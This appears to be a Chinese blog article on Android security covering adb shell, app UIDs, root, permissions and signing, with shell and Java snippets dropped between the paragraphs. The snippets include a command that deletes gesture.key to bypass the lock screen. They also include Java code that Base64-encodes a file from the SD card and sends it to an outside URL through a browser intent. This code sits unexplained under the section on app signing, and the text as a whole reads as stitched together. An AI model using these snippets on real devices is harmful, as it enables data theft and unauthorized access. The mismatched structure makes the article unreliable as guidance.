在Android设备领域,内部构造和安全性问题不容忽视。例如,adb shell功能允许与设备直接进行交互,这对管理员和开发者来说非常方便,但同时也可能成为安全漏洞的潜在途径。
adb shell的重要性
$ adb devices
List of devices attached
emulator-5554 device
adb shell相当于一条通往设备内部的隐秘路径。它常被开发人员用来进行全面的设备调试。比如在不少软件开发企业,当他们在测试新款安卓设备的应用时,就会用到adb shell。这样,他们就能在设备上轻松执行指令、操作,并分析内部数据,这极大地缩短了开发周期,提升了工作效率。
adb shell.
然而,该通道可能被不法之徒滥用。若他们掌握了设备部分权限,便可通过adb shell实施恶意行为,比如篡改设备关键信息。
用户ID的分配和意义
# cd /data/data
# ls
com.aditya.facebookapp
com.aditya.spinnermenu
com.aditya.zeropermission
com.afe.socketapp
com.android.backupconfirm
com.android.browser
com.android.calculator2
com.android.calendar
com.android.camera
com.android.certinstaller
com.android.classic
com.android.contacts
com.android.customlocale2
在安卓操作系统中,每当一个新的应用启动,都会被赋予一个独一无二的用户标识(UID)。这个过程就像给每一个新生婴儿发放一个仅此一份的身份证号码。
shell@android:/data/data/de.trier.infsec.koch.droidsheep # ls
cache
databases
files
lib
shell@android:/data/data/de.trier.infsec.koch.droidsheep #
这能帮助辨别各类应用和程序。以聊天工具和游戏为例,它们各自拥有独立的标识符。由于UID不同,聊天工具在运行时不能随意读取游戏的数据,这样的设置确保了各应用的独立性和数据安全。然而,若开发者故意将某些应用配置成相同的UID,就可能获取不应获取的其他应用数据,从而对信息安全造成隐患。
shell@android:/data # cd /data/system
shell@android:/data/system # rm gesture.key
获取 root权限的利弊
获得设备的最高管理权限即意味着掌握极大的操控能力。对一些资深用户和开发者来说,在必须对设备系统进行深度调整时,root权限就如同握有一把万能钥匙,能够无障碍地访问并管理整个设备。比如,一些热衷于手机刷机的用户,若想安装非官方的安卓系统版本,就必须先获取root权限。
钥匙若被错误使用,后果可能严重。一旦拿到最高权限,心怀不轨的人便能轻松查看和改动设备内所有文件。这不但可能暴露个人或他人的隐私信息,还可能损害设备原有的安全稳定性。
应用程序的权限和文件
下载应用时,安装步骤中会出现一个权限提示界面。这些权限就像是一份约定,关乎我们使用设备特定资源和功能。若开发者未准确设置权限,可能会引发严重问题。就曾有一款小众游戏,在.xml文件里遗漏了相机权限的设定,却在运行时尝试调用相机,导致应用立即崩溃。
此外,该应用的数据存放目录共享同一用户标识,这构成了一个安全防护机制。通常情况下,这一机制确保各应用仅能访问各自的数据目录,有效避免了数据被非法访问的风险。
shell@grouper:/system/etc/permissions $ cat platform.xml
<permissions>
. . .
<permission name="android.permission.BLUETOOTH" >
<group gid="net_bt" />
</permission>
<permission name="android.permission.INTERNET" >
<group gid="inet" />
</permission>
<permission name="android.permission.CAMERA" >
<group gid="camera" />
</permission>
. . . [Some of the data has been stripped from here in order to shorten the output and make it readable]
</permissions>
应用程序的签名和验证
通过验证应用签名,我们能确定开发者身份。SDK内含相应的工具,便于执行此类核实。比如,某些公司会对自家的企业级应用实施签名,以此确保只有获得授权的设备方可安装并使用这些软件。
若签名出现错误或遭篡改,设备将拒绝安装该应用。这情形就像在安全关卡对来访者进行严格的身份核验,以保证其来源的正当性。
final File file = new File("/mnt/sdcard/profile.jpg");
Uri uri = Uri.fromFile(file);
ContentResolver cr = getContentResolver();
Bitmap bMap=null;
try {
InputStream is = cr.openInputStream(uri);
bMap = BitmapFactory.decodeStream(is);
if (is != null) {
is.close();
}
} catch (Exception e) {
Log.e("Error reading file", e.toString());
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos);
byte[] b = baos.toByteArray();
String imageString = Base64.encodeToString(b,Base64.DEFAULT);
startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://attify.com/up.php?u="+imageString)));
引导加载程序与广播接收器
// To execute commands :
String str = "cat /proc/version"; //command to be executed is stored in str.
process = Runtime.getRuntime().exec(str);
引导加载程序在默认状态下处于锁定状态,仅允许经过验证的核心程序运行。这种做法是设备制造商锁定安全边界的一种手段。就好比家门前的铁锁,阻挡了不速之客的进入。
接收器用来听取系统发出的广播信息,众多应用借助这一部件来掌握系统状况并作出相应处理。比如,当某些应用捕捉到系统电量不足的广播时,它们会立刻提醒用户充电或停止使用某些功能。
那么,对于一般安卓用户而言,怎样在日常使用中规避这些潜藏的安全隐患?希望阅读完本文后,大家能在评论区互相交流心得,也欢迎点赞,让更多人掌握这些信息。
$ jarsigner -verify -certs -verbose testing.apk